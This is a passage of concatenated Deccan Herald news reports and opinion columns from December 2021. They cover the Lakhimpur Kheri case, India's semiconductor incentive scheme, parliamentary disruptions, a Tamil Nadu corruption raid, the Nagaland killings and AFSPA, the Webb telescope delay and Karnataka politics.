BJP should suspend their MoS Home Ajay Mishra," Akhilesh Yadav said. Also Read Lakhimpur Kheri incident was well planned: SIT His remarks come after a Special Investigation Team (SIT), probing the killing of eight people, including four farmers, in Lakhimpur Kheri violence in which Union Minister Ajai Kumar Mishra's son Ashish Mishra is named as a prime accused, said that the violence was part of a "pre-planned conspiracy" and that the accused had perpetrated the crime deliberately. According to the sources, the police have approached the district court in Lakhimpur Kheri, where the matter was being heard, seeking to invoke stringent sections of the Indian Penal Code in the case, including those of murder and criminal conspiracy. On Monday, PM Modi inaugurated the Kashi Vishwanath corridor, sending a clear message to the majority community about the BJP's firm commitment to the Hindutva ideology. Through the Kashi Vishwanath Corridor, the BJP is putting its weight behind its development and Hindutva agendas. Even before the announcement for UP polls, Modi has been frequenting the state several times. He is also scheduled to visit the state five times in December. During his visits, Modi trained his guns at the Samajwadi Party (SP), and heaping praises on the Yogi Adityanath-led government for development and good law and order situation in the state. Meanwhile Akhilesh Yadav had accused the BJP of 'cutting ribbons' to projects that were initiated and halfway through during the SP's reign. Watch the latest DH Videos here: Aimed at making India a global electronics production hub, the Centre on Wednesday approved a Rs 76,000-crore policy boost to woo semiconductor fabrications and display manufacturers. The Union Cabinet approved the scheme, which is spread over six years. The scheme will help set up semiconductor fabs and display fabs in India, extending financial support of up to 50 per cent of the project cost to eligible applicants, IT and Telecom Minister Ashwini Vaishnaw told media after the meeting. "The Scheme for setting up of compound semiconductors/silicon photonics/sensors fabs and Semiconductor ATMP/OSAT facilities in India shall extend fiscal support of 30 per cent of capital expenditure, to approved units," an official release from the Ministry of Electronics and Information Technology stated. At least 15 such units of compound semiconductors and semiconductor packaging are expected to be established with government support under this scheme. A Design Linked Incentive (DLI) scheme will offer an incentive of up to 50 per cent of eligible expenditure and a product deployment linked incentive of 6-4 per cent on net sales for five years. "Support will be provided to 100 domestic companies of semiconductor design for Integrated Circuits (ICs), Chipsets, System on Chips (SoCs)... and semiconductor linked design, and facilitating the growth of not less than 20 such companies which can achieve turnover of more than Rs 1,500 crore in the coming five years," the statement said. Giving details of the scheme, the minister said it is expected to usher in a new era in electronics manufacturing by providing a globally competitive incentive package to companies in semiconductors and display manufacturing as well as design. It will strengthen India's technological prowess in these areas of strategic importance and economic self-reliance, he said. With a view to driving the long-term strategies for developing a sustainable semiconductor and display ecosystem, a specialised and independent 'India Semiconductor Mission (ISM)' will also be established. In all, the government has committed support of Rs 2,30,000 crore to position India as a global hub for electronics manufacturing, with semiconductors as the foundational building block. Watch the latest DH Videos here: Lok Sabha proceedings were adjourned till 2 pm on Wednesday as Opposition members raised the issue of the Special Investigation Team's report on the recent violence in Lakhimpur Kheri in Uttar Pradesh, and demanded the sacking of Union minister Ajay Mishra. The minister's son Ashish Mishra is among the 13 accused in the violence that took place in October wherein at least four farmers and a journalist were killed. As soon as the House met for the day, Opposition members, including those from the Congress, DMK and some Left parties sought to raise the issue. Later, they began shouting slogans, displaying placards and several members trooped into the Well. Also Read | Cong moves adjournment notices in Lok Sabha seeking removal of Ajay Mishra They were holding placards demanding the sacking of 'farmers' killers'. Some posters displayed messages urging the prime minister to sack the minister. Despite the din, four questions and supplementaries were taken up till 11:30 am before Speaker Om Birla decided to adjourn the proceedings till 2 pm. While several opposition members were in the Well, TMC MPs were at their seats. The members did not yield to repeated pleas of the Speaker that the issue can be raised after the Question Hour and vociferous protests continued. "My effort is always to conduct the Question Hour so that the good tradition continues and important questions are taken up... I always give adequate time to members to raise issues... you (protesting members) are disrupting the Question Hour. It is not a good tradition and does not give respect to the House. You don't want to have discussions," Birla said. With no let-up in the protests, a visibly peeved Birla told the protesting members that they have not come to the House to raise slogans. Parliamentary Affairs Minister Pralhad Joshi urged the members protesting in the Well of the House to wear masks, saying that Covid is not over and standing near the House officials without wearing masks puts everyone at risk. As elected representatives, is it right that the representatives do not follow rules, he wondered. The minister also requested the Speaker to give directions to the protesting members in this regard. The SIT probing the Lakhimpur Kheri violence has told a court that the killing of four farmers and a journalist was a "pre-planned conspiracy". Check out the latest videos from DH: The Supreme Court on Wednesday granted protection from arrest to businessman Raj Kundra in a 2020 case related to porn film racket. A bench of Justices Vineet Saran and Aniruddha Bose allowed him the relief for four weeks. The court issued notice to the Maharashtra government and Mumbai police Crime Branch on the plea by Kundra, husband of film actor Shilpa Shetty. Also Read Shilpa Shetty, Raj Kundra file Rs 50-crore defamation suit against Sherlyn Chopra Kundra approached the top court after the Bombay High Court declined him anticipatory bail. He was earlier arrested in July in another case investigated by the Mumbai police Crime Branch. He got bail in that case in September. However, the High Court rejected his petition for anticipatory bail last month, along with that of actors Poonam Pandey and Sherlyn Chopra. Earlier, the top court had asked him to approach the High Court for anticipatory bail. The accused were booked under Sections 292, 293 (sale of obscene material) of the Indian Penal Code, Sections 66E, 67, 67A (transmission of sexually explicit material) under the Information Technology Act and provisions of the Indecent Representation of Women (Prohibition) Act. Watch the latest DH Videos here: The Bharatiya Janata Party is finalising a seat-sharing deal with Captain Amarinders party for the upcoming Assembly elections in Punjab. Extensive talks between the BJP and Singhs Lok Congress party are ongoing. Captain Amarinder Singh is flying to Delhi Wednesday and another round of talks is set to take place between Singh and BJP in-charge for Punjab, union minister Gajendra Singh Sekhawat on Friday. Sources in the BJP said that theres a strong likelihood of an announcement by the end of the week. Early last week, on December 6, Sekhawat met Captain during his visit to Chandigarh, where talks on seat-sharing were held. Also Read | Amarinder warns police against intimidating party workers On Tuesday, speaking to reporters at a party function of state-level workers, Sekhawat said that the BJP looks forward to a seat-sharing deal as both the parties share a common bent of mind. Our parties hold identical views on several issues. Talks are going on, Sekhawat told reporters. New members, including IAS officer SR Ladhar and former Shiromani Akali Dal MLA Mohan Lal Banga, joined the saffron party at the function. The Centres withdrawal of the farm laws has largely been seen by both the parties as the paving of an opportunity since the repeal has taken the bite away from the Oppositions charge of the BJP not being farmer-friendly. The BJP which has been the junior partner in former alliances in the state now looks towards a bigger space. Irrespective of the seat-sharing with the Punjab Lok Congress, the BJP has maintained that it will contest all of the 117 seats in the assembly segment. Captain Amarinder, on the other hand, had earlier announced that Punjab Lok Congress will also ally with the Sukhdev Dhindsa-led Shiromani Akali Dal (Sanyukt) party. Check out DH's latest videos: India reports 6,984 new cases, 8,168 recoveries, and 247 deaths on Wednesday, as per data by the Union Health Ministry. Come back tomorrow for more Coronavirus updates from across the world from Deccan Herald. After TMC and Congress, more Opposition MPs submitted privilege notices against Rajya Sabha nominated MP and former CJI Ranjan Gogoi over his attendance remarks. More MPs also submitted notices to discuss the Lakhimpur Kheri incident in the House. Opposition continued to raise slogans and demand to be heard resulting in disruptions in House proceedings. Both Houses adjourned for the day. P Thangamani on Wednesday became the fifth former AIADMK minister to be raided by the Directorate of Vigilance and Anti-corruption (DVAC), after the DMK came to power in May this year, for allegedly amassing wealth disproportionate to his known sources of income and investing a huge amount in crypto assets. The opposition party hit out at its rival, the ruling DMK, with Leader of Opposition K Palaniswami alleging that the vigilance action was due to "political vendetta" and the AIADMK's "growing clout." It was also a 'diversionary' tactic by Chief Minister M K Stalin, AIADMK leaders O Panneerselvam and Palaniswami told PTI. Sleuths of the DVAC swopped down on 69 premises owned by or related to Thangamani and his family members in Tamil Nadu, Karnataka, and Andhra Pradesh. Two premises in Bengaluru were also searched. Besides Thangamani, the DVAC has booked his wife T Santhi and son T Dharanidharan in the case filed at Namakkal in the western region of Tamil Nadu. At the end of the searches, DVAC said, Rs 2.37 crore in cash, gold ornaments weighing 1.130 kg, incriminating documents of bank accounts, mobile phones, and keys of several lockers and computer hard disks were recovered. Thangamani, who held various portfolios from 2011 to 2021 during the 10-year AIADMK rule, was one of the most powerful ministers in the Edappadi K Palaniswami cabinet which assumed office in 2017 after J Jayalalithaas death the previous year. In the FIR, DVAC said the case relates to amassing of wealth during Thangamanis tenure as Electricity Minister from 2016 to 2021. The FIR said Thangamani has acquired and was in possession of movable and immovable assets in his name and in the names of his family members, relatives and others which are disproportionate to his known sources of income and thereby intentionally enriched himself and his family members, relatives and others illicitly during the period of his office. The DVAC said while Thangamanis son Dharanidharan showed huge business in the name of Murugan Eaarth movers, an inquiry revealed that the company was only on paper and was used as a cover to the illegal income of the former minister and assets acquired by him as a public servant. The agency also said Santhi, who is a housewife and does not hold any business, intentionally aided Thangamani and Dharanidharan to acquire ill-gotten money and hid them from the eyes of the law by filing Income Tax as and when required for her husband and son. It said since the likely savings of Thangamani was about Rs 2.60 crore during the check period (May 23, 2016, to March 31, 2020) and hence, the pecuniary resources and properties acquired by him and in the names of his wife and his son should not have exceeded the same. But he has acquired assets worth Rs 4,85,72,0197- in excess out of his total income, which is disproportionate to the known sources of income, the FIR said, adding that S Dinesh Kumar, Thangamanis son-in-law, is a partner in many firms while his father owns over 100 lorries. It is further suspected that A-1 (Thangamani) and A-2 (Dharanidharan) have acquired many more assets which are disproportionate to his known sources of income and kept in the name of their in-laws, relatives and associates in various places in and around Tamil Nadu and outside. Further, there is reliable information that they have invested huge amount from the ill-gotten money in crypto assets, the FIR added. Thangamani is the fifth minister in the erstwhile Edappadi K Palaniswami cabinet to be raided by the DVAC after the DMK government stormed to power in May this year. M R Vijayabhaskar, S P Velumani, and K C Veeramani, and C Vijayabaskar were earlier raided by the DVAC. The DMK, while in opposition, had submitted a huge list of corruption charges against half a dozen ministers. The party had also promised to constitute a special court to try all such cases. Check out latest videos from DH: In a bid to trace a tiger that has been giving sleepless nights to the people of Kurukanmoola near Mananthavady in Wayanad district of Kerala, the forest department has deployed trained captive elephants that are known as 'Kumki' elephants. Around 15 domestic animals were killed by a tiger in the region over the last two weeks and the efforts to capture the tiger using methods like setting up cages did not yield any result. Hence two trained elephants were deployed on Tuesday. Wayanad south divisional forest officer Shajna Karim told DH that the trained elephants were being deployed to carry out searches in possible hideouts of the tiger as well as to drive away it. Such a method was used earlier also to drive away wild animals once all efforts to capture fail. The tiger was spotted in the camera traps set up in the area. But it could not be spotted during the day light so far. A tiger capturing team was also camping in the region, said the forest official. Many parts of Wayanad were witnessing man-animal conflict. Farmers in the region were suffering massive crop loss due to attack by wild boars, elephants and monkeys. Check out DH's latest videos: Observing that documents and video clips cited by the complainant prima facie showed that Maharashtra minister Nawab Malik had made defamatory statements, a court here issued another summons against him in a defamation case filed by former Mumbai BJP youth wing president Mohit Kamboj Bharatiya in connection with a cruise ship drugs case. The magistrate court directed Malik to appear before it by December 30. The summons was issued on Monday after a second defamation complaint was filed by Bharatiya but the detailed order was made available on Tuesday. This is the second such complaint filed by Bharatiya against Malik seeking action for offences under Indian Penal Code section 500 (punishment for defamation) before the court of the metropolitan magistrate in Sewree in south Mumbai. Both the complaints pertain to multiple press conferences held by Malik after drugs were allegedly seized by the NCB from a cruise ship in Mumbai in October. Bollywood superstar Shah Rukh Khan's son Aryan Khan is one of the accused who was arrested in the case. He was later released on bail on the orders of the Bombay HC. Bharatiya had alleged that Malik defamed him and his family by making baseless allegations against them. In his order, Metropolitan Magistrate P I Mokashi observed that the documents and video clips cited by Bharatiya showed that Malik had made defamatory statements against him" so that it can be seen by the public at large." The magistrate further noted that it is prima-facie proved by the complainant that the words spoken by accused Nawab Malik were such that it has harmed the reputation of the complainant. Malik had last month appeared before the magistrate court in response to a summons issued to him in a criminal defamation complaint filed by Bharatiya. The court granted Malik bail on furnishing a surety and executing a bond. Check out DH's latest videos: Trinamool Congress Derek OBrien, the former quiz master and the partys intellectual, recently called on Congress leaders to wake up and smell the coffee, hoping that the strong brew would alert them that the ground is fast shifting under their feet. For the last couple of months, the Trinamool Congress (TMC), led by Mamata Banerjee, goaded by her election strategist Prashant Kishor, has been poaching Congress deadwood in various parts of the country, from Goa to Meghalaya to Tripura. On December 1, in Mumbai, standing next to NCP supremo Sharad Pawar, Mamata said, Where is the UPA now? Its history, a sentiment that was obviously not shared by Pawar. Her hubris and belief in her own charisma was truly astounding. It cannot be dismissed as arrogance, for she has proved beyond doubt her enormous influence over the Bengali voters who, on her word, routed the two most powerful manipulators of the Indian electorate in the present decade, who also enjoy full access to central government machinery and thousands of crores in anonymous donations in their war-chest. Also Read | Why has democracy dried up in Parliament? asks Derek as Oppn steps up demand for revoking 12 MPs' suspension Surely, Mamata knows better than anyone that winning in Bengal is very different from winning at the national level. Hence, she is tying up with fellow regional parties such as the NCP and the Shiv Sena, though the latter is yet to commit support to her. Let us examine the standing of TMC, region-wise. In UP, Uttarakhand, Bihar, Rajasthan, Madhya Pradesh, Chhattisgarh, Jharkhand the Hindi heartland the TMC has no presence whatsoever. In the southern states of Andhra Pradesh, Telangana, Karnataka, Tamil Nadu and Kerala, again the TMC has no presence. Nor is the TMC present in Punjab, Haryana, Maharashtra and Gujarat. Can a party that hopes to be a national alternative to the BJP be absent in 16 major states of the country? And how can they forget that Congress got 19.5% vote share in the 2019 national elections, to that of 4.1% for the TMC? Does the TMC really have a national standing? Wake up, Derek, and smell the coffee. Prashant Kishor is right in saying that the idea and space that the Congress represents is vital for a strong Opposition. But Congress leadership is not the divine right of an individual, especially when the party has lost more than 90% of elections in the last 10 years. But the question is, Prashant ji, why has no other party been able to capture that idea and space and secure the peoples mandate? How has the BJP, with a perverse idea of religion and false nationalism, captured the mindscape of our country? Also Read | 'There is no UPA', says Mamata Banerjee after meeting Sharad Pawar Of course, Congress is a sad mess today. It is nobodys case that Rahul Gandhi can take on Narendra Modi, nor is the Congress alone sufficient and adequate as an Opposition force. It must tie up alliances at the regional level and those regions include areas dominated by Akhilesh Yadav, Tejashwi Yadav, Uddhav Thackery, Sharad Pawar, M K Stalin, Jagan Reddy, Pinyari Vijayan, and possibly Kejriwal, too. And who will they choose between Mamata and Sonia Gandhi? Mamata Banerjee, like Sonia Gandhi, is not the leader of any caste group, so she must position herself as a pan-caste leader, with a regional identity that is at once a cultural and linguistic identity Bengali culture in Bengali land. And that very strength that protected her from the marauding Gujarati duo, limits her appeal. Whatever appeal Sonia Gandhi has is not limited to a caste or region. A united front must be based on certain foundational consensus. First is that the chairperson of the United Progressive Alliance (UPA) should not be a contestant for the top job. And Sonia Gandhi has a track record of refusing the crown twice, in 2004 and 2009. Will she ask Rahul Gandhi not to aspire to it if the party were to emerge as the single largest party in 2024? Knowing how hysterical she was about protecting her family from entering politics after the assassinations of her mother-in-law and her husband, she may well prevail on Rahul Gandhi to refuse the crown. And besides, Rahul Gandhi has himself always been a reluctant leader, accustomed to power rather than accountability. He may, in fact, refuse the top job. Who knows who will emerge as the dark horse, as Manmohan Singh did in 2004? Secondly, the leader of such a united front should have a clear and proven track record of consistently opposing the BJP ideologically and organisationally. Sadly, Mamata Banerjee doesnt fit the bill here, having been a cabinet minister twice in the BJP cabinet, even after the Gujarat carnage. Thirdly, with the Sarada and Narada scams behind her and the excessive affection for her nephew Abhishek Banerjee, Mamata has perhaps inherited more scams and infirmities than Sonia Gandhi, whose singular weakness of putra-moh may be stifling the Congress. The voters, indeed, have a devils choice. Since Derek OBrien comes from the land of revolutionaries, he must be familiar with Chairman Mao. And Mao said, In politics, you should recognise the primary contradiction or antagonism first, and then the secondary contradictions. Here, the primary antagonism is between secular and communal forces, and the latter must be defeated first. Instead, if you focus on secondary contradictions, you may win smaller battles, but you will lose the war. He should tell his leader that the Congress is not the main enemy here. And that following the strategy of Prashant Kishor, the spurned Chanakya who is out to destroy the Congress, will only end up strengthening the BJP. Or better still, please advise Mamata Banerjee to contest in Uttar Pradesh and test the waters. There, it must be said, Priyanka Gandhi is at least fighting the big battle, unlike others who are buying up MPs with lost causes. (The writer is a former Cabinet Secretariat official) If Vir Das looks to Nagaland, the welcoming mountainous north-east Indian state with a history of the longest surviving insurgency in Asia, the stand-up comic cannot run short of material for a 'two Nagalands' monologue. The dubious duality of Nagaland's state of affairs is indeed a joke. But it isn't funny anymore. Instead, there is grief and anger as fresh corpses of innocents open up old wounds. I come from 'two Nagalands'. One Nagaland where high-ranked officers of Indian Army dance hands clasped with Konyak Naga tribespeople clad in traditional warrior attires wielding machetes and firing sporadically from their indigenous muzzle-loading guns. Konyaks are known for their traditional gunsmithing and gunpowder-making skills. Every family, especially in villages, owns at least one muzzle-loading gun. Many Indian Army officers have merrily tried firing the traditional firearms at least once. The other Nagaland where elite para commandos can indiscriminately gun down innocent civilians (Konyak Naga villagers of Oting Village) in the Konyak heartland, because according to them, "a rifle-like thing" was supposedly being carried by one of the eight victims. Also Read Nagaland firing victims' families refuse compensation, demand justice A Nagaland where India's Home Ministry officials sip tea with Naga insurgents (defined as militants or terrorists by the security forces) and the latter involve themselves in Indian electoral politics. This is the Nagaland where the Government of India doles out ceasefire agreements to a new insurgent faction every other year; insurgent groups run parallel governments "taxing" Indians both Nagas and non-Nagas under the garb of continuing ceasefires and peace parleys. All under the "watchful eye" of New Delhi. It is another Nagaland where despite the ever-progressing peace talks and lavish overground existence of undergrounds, the draconian Armed Forces Special Protection Act (AFSPA) meant to counter "terrorism" continues to be in force since 1958. It gives unbridled power to the security forces and brings terror to the hearts of the common people. In this Nagaland, the AFSPA is in force on the pretext of it being a disturbed area due to the activities of the same insurgents. Then there is a Nagaland where a dreaded militant with a hefty bounty on his head for killing 18 Indian soldiers is under the protection of India's Home Ministry, able to conduct peace talks and facilitate the Indo-Naga political solution. In another Nagaland, the AFSPA gives security forces the impunity to shoot to kill on mere suspicion. Both are justified by the Centre in the name of bringing peace to the land. A Nagaland where the governor pays glowing tributes to Naga leader, the late Dr Imkongliba Ao, by installing his bust in the Raj Bhavan, and commits to building a Nagaland of Dr Ao's dream, "a happy and prosperous state in which our youth, free from every kind of fear, apprehension or inhibition." Yet this is also the Nagaland still under the AFSPA, which spells only fear and apprehension. Also Read Nagaland killing: Army has taken undue advantage of AFSPA to terrorise people, says minister One Nagaland where Naga politicians spend crores to get elected and form the government, and the opposition joins the government to strengthen it. And it's another Nagaland, where the same government buckles now and then under pressure of civil societies and goes weak-kneed every time New Delhi summons. All in the name of ushering peace and prosperity to the state. There is a Nagaland where a small village (Oting) has the nerve to caution security forces that they would lose their heads next time such a heinous crime is perpetrated on their land. In the other Nagaland, the government doesn't dare even to request the Friends of the Hill People (Assam Rifles) to stay off the roads for a few hours to respect the sentiments of the people protesting the killings with a complete statewide bandh. Meanwhile, the Oting village has barred both the Naga insurgent groups and Indian soldiers from entering the jurisdiction of their village. One Nagaland is where ethnicity is glorified, and Naga villagers in their traditional finery are proudly displayed as the "authentic and exotic Nagaland" for the benefit of tourists. The other Nagaland is where the same villagers are forgotten through most of the year -- ethnic culture swapped for western culture-influenced glitz and glamour. In this quagmire of unsettling duality, coercive control, callous policies and politics of both the Centre and state, the tragedy unfolded in Nagaland on December 4 and 5. To call the murder of 14 citizens an "unfortunate incident" and "botched up ops" is itself a big joke. The political class is again trying to pull a fast one on the people by blaming the tragedy on mistaken identity and faulty intelligence. It is straight-up a policy failure and apathy. Perhaps the para commando unit was carrying out its duty, or a so-called "surgical strike" albeit questionably without following protocols and messed up. But they wouldn't dare be so audacious without the impunity provided by the AFSPA. Directing all anger at the security forces would be a folly Nagaland and the other states where the AFSPA is in force can hardly afford to endure. Also Read AFSPA is only an enabling law in a Disturbed Area Despite the huge uproar created by the Nagaland killings, it is unlikely the AFSPA would be repealed. The Narendra Modi government has already eaten its share of the humble pie in 2021 by rolling back the farm laws. Moreover, Nagaland doesn't have the numbers in Parliament like Uttar Pradesh, which goes to the polls soon. Not much is expected from Nagaland's current crop of politicians who are yet to show spine. The Modi government has got Nagaland's ruling class on a short leash. Nagas don't expect much from the insurgents, known as Naga National Workers, either. Their guns have claimed the lives of many innocent Nagas too. In all probability, the insurgent groups would use the tragedy as a bargaining chip. But this time around, the people are angry and deeply hurt. Tragic tales of lives claimed by the AFSPA are being retold and shared, memories of living under the shadow of the gun being revisited. The Konyaks, whose traditional lands border Myanmar and Arunachal Pradesh, are seething. As Bonnie Konyak, a former journalist, writes in her poignant post on Facebook: "I understand you want to share our pain, but you do not know its depths, you never will. I know you think we are mourning for our brothers who lost their lives on December 4th and 5th, but our grief goes beyond the gruesome massacre of that fateful night; we are lamenting not just lives, but generations of lives sacrificed at the altar of a cause the memory of which now eludes us." (Kallol Dey is a freelance journalist based in Nagaland) Disclaimer: The views expressed above are the author's own. They do not necessarily reflect the views of DH. Watch the latest DH Videos here: By filing a new set of charges in the Lakhimpur Kheri case, Uttar Pradesh Chief Minister Yogi Adityanath has made the continuation of Minister of State (Home) Ajay Mishra Teni in the Union Council of Ministers untenable. However, he has also attempted to strike at the central leadership of the party. Referring to the October 3 incident, the Special Investigating Team (SIT) of the UP police described the deaths as a "pre-planned conspiracy". Previous charges of causing death by rash and negligent driving have been now replaced by charges of murder and "criminal conspiracy" besides rioting, armed with a deadly weapon, and the culprits committing an offence with a "common objective" under Section 149 of the Indian Penal Code (IPC). With the new charges, Adityanath has acquired more leverage to assert his control over political processes in UP leading up to the election in February. It remains to be seen whether charges under Section 149 of the IPC will be used to bring in more people to show that they shared a common objective. Both IPC Section 34 ("common intention") and 149 ("common object") deal with the vicarious liability of a person for the actions of others. The difference, however, is that while "common intention" assumes concerted action by two or more people according to a pre-arranged plan, "common object" involving five or more people (in an unlawful assembly) does not necessarily require proof of a prior meeting of minds. To that extent, the ambit of the charge has been restricted. For now, the chief judicial magistrate agreed with the defence lawyers and did not see it fit to use the broader Section 34 ("common intention"). The charges under Sections 3/25/30 of the Arms Act suggest that the weapons in possession of the minister's son and his entourage were unlicensed and illegal. It also confirms that weapons were fired on the protesting farmers. The Samyukta Kisan Morcha had alleged that one of the farmers had been shot dead by the minister's son Ashish Mishra. The charges of committing an offence under Section 120B (conspiracy) of the IPC are punishable by death and suggest that the SIT is confident of establishing criminal conspiracy. It might be recalled that minister Ajay Mishra Teni was seen as the agent provocateur who had threatened agitating farmers in a public meeting a few days before the October 3 incident. "If I decide to show them my true power, then they will not only have to leave their villages but also the district." In response to showing him black flags earlier, he had boasted, "Had I alighted from my car, then they (the farmers) would not have been able even to flee people here are familiar with my history." Now that same history and the charge of premeditated murder may haunt him. The meeting where the farmers were deliberately run over by vehicles was a protest against a visit by Uttar Pradesh Deputy Chief Minister Keshav Prasad Maurya to Lakhimpur Kheri with Teni in attendance. In principle, although he seems distant from the case today, the police dragnet could potentially extend to Maurya, a potential challenger to Adityanath's position, should the BJP win in UP. Maurya is close to Ajay Mishra Teni and Prime Minister Narendra Modi. However, proving conspiracy against Teni and Maurya would require considerable effort and would depend on the statements of the 12 others arrested along with the minister's son Ashish Mishra. If they say that the murder was a planned conspiracy, then even those absent from the site of the incident may be questioned by the SIT. If Teni and Maurya are called for questioning, their political careers would be virtually over. In what appears to be a tug-of-war with the BJP high command, Adityanath's fancy footwork seems directed at recovering control over the political process in UP before the elections. With the more serious charges being levied in the Lakhimpur Kheri case, he has possibly also gained some leverage over ticket distribution in the upcoming UP elections, a process in which he may have expected to be marginalised. So far, he has been forced into a supporting role to the party mascot Prime Minister Modi. Modi's packed itinerary in UP has dominated the momentum for the upcoming crucial state polls. In the latest episode of the electoral soap opera on Monday, the prime minister hogged the footage as he undertook a ceremonial bath in the Ganges and carried the holy "Ganga Jal" for the inauguration of the Kashi-Vishwanath temple corridor. Chief Minister Adityanath was clearly not part of the script beyond a "special appearance" in a few frames. With the new charges of "pre-planned conspiracy" in the Lakhimpur Kheri case, the central leadership of the BJP will have to somehow engineer the investigation away from the SIT manned by the UP police to its 'caged parrot', the CBI. Otherwise, it will have to work out a truce with Adityanath in ticket distribution, which may well also be forced on the party by the Rashtriya Swayamsevak Sangh. All said and done, Adityanath's credibility is inversely proportional to Prime Minister Modi's under the current circumstances. If the BJP wins UP, Adityanath can boast that while the Modi-Amit Shah duo lost West Bengal, he managed to retain the largest state in India. If the BJP loses, he can still blame the central leadership of the Bharatiya Janata Party (BJP). After all, he neither brought in the controversial farm laws nor did he threaten the farmers in fact, his police never resorted to violence against them, and he allowed their massive rallies to proceed peacefully both at Muzaffarnagar and Lucknow. He can also blame the state of the economy, growing unemployment and price rise on the Centre. Also Covid deaths, and shortage in oxygen and vaccine supplies. He could even become the nucleus of anti-Modi forces within the BJP in case the party loses in UP. (The writer is a journalist based in Delhi) Disclaimer: The views expressed above are the author's own. They do not necessarily reflect the views of DH. Watch latest videos by DH here: The launch of the James Webb space telescope, scheduled for December 22, won't take place before December 24, NASA announced Wednesday. The NASA project, launched in 1989, was originally expected to deploy in the early 2000s. But multiple problems forced delays and a tripling of the telescope's original budget with a final price tag of nearly $10 billion. Webb was built in the US and transported to its launch site in Kourou of French Guyana this year, where its launch date of December 18 was already pushed back after an incident. This time, a communication problem is to blame. "The James Webb Space Telescope team is working a communication issue between the observatory and the launch vehicle system," a brief update on the NASA website reads. Also Read NASA's latest launch lets you asteroid-watch from home "This will delay the launch date to no earlier than Friday, December 24." European Space Agency officials told AFP the problem was discovered after the telescope was installed on the Ariane 5 rocket on Saturday. All the tests had to be run again to make sure everything was still working. The Webb telescope, named after a former director of the American space agency, will be the largest and most powerful telescope ever to be launched into space. It follows in the footsteps of the legendary Hubble but will be located much further from the sun. It is hoped that it will show humans what the Universe looked like even closer to its birth, nearly 14 billion years ago. Watch the latest DH Videos here: Karnataka decided Wednesday to transfer Sandur tahsildar H G Rashmi after an uproar by Congress MLAs who accused her of breaching privilege. The tahsildar was relieved from duty without a new posting after Congress legislators entered the well of the Legislative Assembly and demanded her suspension. The issue was raised in the Assembly by former minister and Sandur MLA E Tukaram after seeking to move a privilege motion. He said that he had written to the government in March this year after the tahsildar "insulted" him on multiple occasions. Though Chief Minister Basavaraj Bommai and Law Minister JC Madhuswamy assured action, she continued to be tahsildar, he charged. Leader of the Opposition Siddaramaiah urged the government to suspend the tahsildar and initiate disciplinary action. Bommai responded saying that such cases occurred "once in a while" and that the government would transfer the official and conduct an inquiry. "Based on the enquiry report, we will take action," he said. However, the Congress was adamant about the official's suspension. Congress MLAs jumped into the well for a demonstration. The House was adjourned for ten minutes, following which Revenue Minister R Ashoka said that the official will be relieved immediately. "We will seek a report within a month and take action. We will not post her anywhere," he said, after which Congress MLAs withdrew their protest. Watch the latest DH Videos here: JD(S) Legislature Party leader H D Kumaraswamy on Wednesday said his party will oppose the proposed anti-conversion Bill, which the ruling BJP plans to introduce in the Assembly early next week. With this, there is every chance for the Bill to get blocked. Chief Minister Basavaraj Bommai has a comfortable majority in the Assembly but he depends on the JD(S) for numerical strength in the Legislative Council. "This Bill is not required. The state should focus on burning issues. I have instructed MLAs and MLCs to oppose the anti-conversion Bill," Kumaraswamy told reporters in New Delhi. Also read: Karnataka's proposed anti-conversion bill: What we know so far "There are so many issues impacting the life of the common man. Farmers problems, price rise and natural calamities should be discussed in the session, Kumaraswamy said. The BJPs plan to bring the anti-conversion Bill has irked minorities, especially Christians whose missionaries are under the radar. The Congress Legislature Party (CLP) meeting in Belagavi held earlier in the day also resolved to oppose the Bill. Congress legislators will oppose the Bill in both Houses, Karnataka Congress president D K Shivakumar said. Also read: Karnataka's proposed anti-conversion bill to have penal provisions, mandates for conversions "We will oppose it outside the legislature as well. We will oppose the Bill as it is against the Constitution, he said, adding that there is no need for the Bill. The government cant target one particular community by using this law. Shivakumar also claimed that Bommais Cabinet is divided on whether or not the Bill is needed. However, Home Minister Araga Jnanendra told reporters that the Bill will be finalised after a careful and meticulous discussion. The Bill will be tabled in the Assembly mostly likely on December 20. The government has repeatedly stressed that the Bill will not target one particular community. According to Jnanendra, the Bill will streamline the process of religious conversion. Article 25 bars forced conversion, but it doesnt have penal clauses. We will introduce penal clauses, he said. Check out latest videos from DH: The police imposed prohibitory orders in Uppinangady after a protest by the Popular Front of India activist turned violent and police had to resort to lathi charge to disperse the large gathering on Tuesday night. Workers of the Popular Front of India had staged a protest near Uppinangady police station on Tuesday morning seeking release of three persons who were detained in connection with a riot case that was reported a few days ago. The Uppinangady police had filed two separate cases of rioting against 43 persons in connection with two separate incidents reported at Andethadka of Ilanthila village in Belthangady taluk on December 5. On December 6, one more case of rioting was reported after a group of nearly 25 30 persons arrived in about 20 two-wheelers assaulted three as a retaliation of two rioting incidents reported on December 5. A case in this regard was filed by Mohandas,40, a resident of Kajekaru. Following the two incidents, the police had reportedly detained Abdul Hameed, Zakaria Kodippadi and Musthafa Latheef in connection with one of the case. As a result, PFI workers gathered near the station and demanded the release of those who were detained. Uppinangady PSI Kumar Kamble tried to convince the protesters that the three were taken into custody only after following due legal procedures like serving notices. The police also warned of initiating action against the protesters for gathering illegally and obstructing the police from performing their duties. Later, protesters left the venue. However, by evening the protesters prepared themselves to perform namaz at the site of protest which was opposed by a few persons. This led to clashes between two groups and the police dispersed the crowd. As a large number of people gathered, police had to resort to lathi charge. A few persons including police personnel were injured in the incident. The security has been strengthened in Uppinangady following the incident. Watch latest videos by DH here: The recent unseasonal rains and cloudy conditions in parts of Karnataka could impact the mango crop for the second consecutive year, with a technical committee constituted by the government mango board terming 2022 as an 'off year' for the beloved fruit. "The major concern of experts is the high level of moisture in the soil," said K V Nagaraju, Chairperson, Karnataka State Mango Development and Marketing Corporation Ltd (KSMDMCL). Also Read | In Bengaluru, cloudy conditions and drizzle forecast for two more days "Unseasonal rains have also hampered the flower initiation process. Despite winter setting in, it is still raining in many parts due to which congenial weather conditions have not been created for the flowering process. Dry and cold weather is necessary for mango flowers to blossom." Nagaraju said that farmers must drain out excess stagnant water in the fields to enable land to dry quickly rather than wait for it to evaporate on its own. According to technical experts, the flower initiation process begins in November-December (winter) months. "Although good vegetative growth is observed, there is no guarantee that it will give a good yield. The estimation of yield can be done only after full-fledged flowering," a botanist said. Nagaraju said that even if plants are "healthy", it doesn't mean "they will bear flowers and fruits". He pointed out that the delay in flowering will lead to an increase in the waiting period for the availability of fruits. The delay in the flowering process is expected to hit the production period that will overlap with the rainy season. "If it rains during the fruiting season, it will lead to fly infestation and the entire crop will be wiped out. We have been sensitising farmers about this threat and 